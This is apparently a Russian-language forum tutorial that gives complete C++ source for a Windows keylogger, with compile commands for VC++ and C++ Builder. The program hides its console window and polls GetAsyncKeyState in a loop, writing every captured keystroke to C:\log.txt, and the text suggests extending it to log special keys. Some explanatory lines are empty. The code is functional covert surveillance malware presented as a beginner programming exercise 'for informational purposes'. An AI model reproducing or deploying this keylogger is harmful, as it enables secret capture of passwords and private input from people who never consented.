Для работы нам понадобится текстовый файл и компилятор C++
Компилятор на ваш вкус,можете использовать VC++ или С++ Builder.
Хотя их на много больше.
Для компиляции в VC++
Код: Выделить всё
cl -GL C:\\путь\файл.cpp
Код: Выделить всё
bcc32.exe C:\\путь\файл.cpp
В нём пишем:
Код: Выделить всё
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int S (int key, char *files);
void Hide();
int S (int key, char *files)
{
if ( (key == 1) || (key == 2) )
return 0;
FILE *Save;
Save = fopen(files, "a+");
cout << key << endl;
fprintf(Save, "%s", &key);
fclose (Save);
return 0;
}
void Hide()
{
HWND Hide;
AllocConsole();
Hide = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Hide,0);
}
int main()
{
Hide();
char q;
while (1)
{
for(q = 8; q <= 190; q++)
{
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\\log.txt");
}
}
system ("PAUSE");
return 0;
}
Компилировать будем на С++ Builder.
Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter)
Пишем bcc32.exe C:\\путь\keylogger.cpp
У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить)
Не большие объяснения что же мы написали:
Использовали во первых GetAsyncKeyState
определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState.
Для работы GetAsyncKeyState подключили #include <windows.h>
Здесь мы:

Что бы консоль не было видно использовали:


Естественно не все клавиши выводятся,для этого нужно дописывать к примеру:
Код: Выделить всё
if (key == VK_TAB)
fprintf(Save, "%s", "[TAB]");
Цель статьи не написание полноценного кейлоггера,а с целью что бы начали проникаться в мир программирования.
Удачи. Код предоставлен в ознакомительных целях.